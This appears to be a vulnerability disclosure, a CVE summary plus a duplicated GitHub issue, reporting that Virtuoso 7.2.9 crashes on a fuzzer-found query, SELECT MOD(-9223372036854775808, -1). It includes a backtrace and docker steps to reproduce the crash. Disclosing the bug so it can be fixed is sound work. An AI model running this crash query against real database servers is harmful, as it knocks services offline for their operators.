An issue in the bif_mod component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
SELECT MOD(-9223372036854775808, -1);
```
backtrace:
```c
#0 0x66a32e (bif_mod+0xce)
#1 0x74ae62 (sqlr_run_bif_in_sandbox+0x392)
#2 0x79b598 (sqlp_patch_call_if_special_or_optimizable+0x1148)
#3 0xccffe7 (scn3yyparse+0xc5d7)
#4 0x6b995b (sql_compile_1+0x129b)
#5 0x7c8cd0 (stmt_set_query+0x340)
#6 0x7cabc2 (sf_sql_execute+0x922)
#7 0x7cbf4e (sf_sql_execute_w+0x17e)
#8 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#9 0xe1f01c (future_wrapper+0x3fc)
#10 0xe2691e (_thread_boot+0x11e)
#11 0x7f1cfacc6609 (start_thread+0xd9)
#12 0x7f1cfaa96133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at bif_mod
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at bif_mod
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
SELECT MOD(-9223372036854775808, -1);
```
backtrace:
```c
#0 0x66a32e (bif_mod+0xce)
#1 0x74ae62 (sqlr_run_bif_in_sandbox+0x392)
#2 0x79b598 (sqlp_patch_call_if_special_or_optimizable+0x1148)
#3 0xccffe7 (scn3yyparse+0xc5d7)
#4 0x6b995b (sql_compile_1+0x129b)
#5 0x7c8cd0 (stmt_set_query+0x340)
#6 0x7cabc2 (sf_sql_execute+0x922)
#7 0x7cbf4e (sf_sql_execute_w+0x17e)
#8 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#9 0xe1f01c (future_wrapper+0x3fc)
#10 0xe2691e (_thread_boot+0x11e)
#11 0x7f1cfacc6609 (start_thread+0xd9)
#12 0x7f1cfaa96133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---

A segmentation fault in the MOD function of Virtuoso version 7.2.9 allows attackers to crash the database server by executing a specially crafted SQL query. This vulnerability can be exploited via a crafted SQL statement that triggers an invalid operation, leading to a Denial of Service (DoS).